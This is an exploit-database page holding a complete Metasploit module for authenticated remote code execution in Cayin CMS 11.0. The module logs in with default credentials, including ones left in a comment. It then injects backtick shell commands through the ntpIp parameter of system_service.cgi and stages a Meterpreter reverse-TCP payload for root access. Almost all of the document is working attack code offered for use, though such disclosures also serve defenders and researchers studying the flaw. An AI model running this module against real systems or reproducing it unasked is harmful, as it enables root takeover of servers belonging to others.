Cayin CMS NTP Server 11.0 Remote Code Execution

2020.06.18
Credit: LiquidWorm
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Cayin CMS NTP Server RCE', 'Description' => %q{ This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so repeated requests are made to achieve a larger payload. Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the environment should be pretty set and not dynamic between targets. Results in root level access. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Gjoko Krstic (LiquidWorm) <gjoko@zeroscience.mk>' # original PoC, discovery ], 'References' => [ [ 'EDB', '48553' ], [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ], [ 'CVE', '2020-7357' ] ], 'Platform' => ['linux'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Privileged' => true, 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'Jun 4 2020', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']), OptString.new('USERNAME', [true, 'Username to login with', 'administrator']), OptString.new('PASSWORD', [true, 'Username to login with', 'admin']), # from the original advisory, leaving here just in case # OptString.new('USERNAME', [true, 'Username to login with', 'webadmin']) # OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin']) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi') ) if res.nil? || res.code != 200 return CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO') print_good('Cayin CMS install detected') return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end def login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'), 'method' => 'POST', 'vars_post' => { 'apply_mode' => 'login', 'lang' => 'ENG', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? # instead of a 302 like most apps, this does a script window.location to forward... unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi') fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password") end res.get_cookies end def execute_command(cmd, _opts = {}) # originally attempted to use the 'test' functionality, however it attempts 3 times which # means our exploit code stage chunks are written 3 times. # also attempted to just 'save', however it doesn't execute an update. # 'update' was the prefered functionality send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'), 'method' => 'POST', 'cookie' => "#{@cookie} sys=Service", 'vars_post' => { 'exe' => 'webSvrUpdateNtp', 'ntpIp' => "`#{cmd}`" # test button, executes 3 times # 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs # 'ntpIp' => "`#{cmd}`" # save button, but doesnt execute # 'save' => 'webSvrNtp', # 'ntpIp' => "`#{cmd}`", # 'ntpEnable' => 1, # 'ntp_server' => 0 } ) end def exploit if check != CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end @cookie = login execute_cmdstager(flavor: :printf, linemax: 200) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top